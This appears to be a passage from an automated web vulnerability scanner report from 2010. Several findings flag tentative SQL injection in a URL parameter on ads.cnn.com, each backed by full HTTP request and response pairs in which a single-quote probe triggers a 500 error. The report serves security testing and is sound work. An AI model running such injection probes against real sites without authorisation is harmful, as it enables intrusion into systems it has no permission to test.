<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=cqsfhkz,bgnocyRtpqxp HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:07:41 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:07:41 GMT
Connection: close
Content-Type: text/html


1.10. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=belzshc,bgnocyWtpqyW [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=belzshc,bgnocyWtpqyW

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=belzshc,bgnocyWtpqyW HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=893172
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:02:18 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=belzshc,bgnocyWtpqyW HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=893172
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:02:18 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:02:18 GMT
Content-Type: text/html


1.11. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=belzshc,bgnocyWtpqyW [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=belzshc,bgnocyWtpqyW

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=belzshc,bgnocyWtpqyW HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:07:56 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=belzshc,bgnocyWtpqyW HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:07:56 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:07:56 GMT
Connection: close
Content-Type: text/html


1.12. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bufncft,bgnocyRtpqvk [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bufncft,bgnocyRtpqvk

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bufncft,bgnocyRtpqvk HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:01:57 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bufncft,bgnocyRtpqvk HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:01:57 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:01:57 GMT
Content-Type: text/html


1.13. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bufncft,bgnocyRtpqvk [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bufncft,bgnocyRtpqvk

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bufncft,bgnocyRtpqvk HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:07:40 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bufncft,bgnocyRtpqvk HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:07:40 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:07:40 GMT
Connection: close
Content-Type: text/html


1.14. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=463267&FlightID=337929&TargetID=76640&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,15477,16113,17251,18517,18871,18982,20139,30220,31069,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,80830,103069,76640&Values=43,60,80,101,1266,1588,2684,2746,4444,52897,55979,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=TIELID,1570051619821&random=csomnNm,bgnocyIgragzr [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
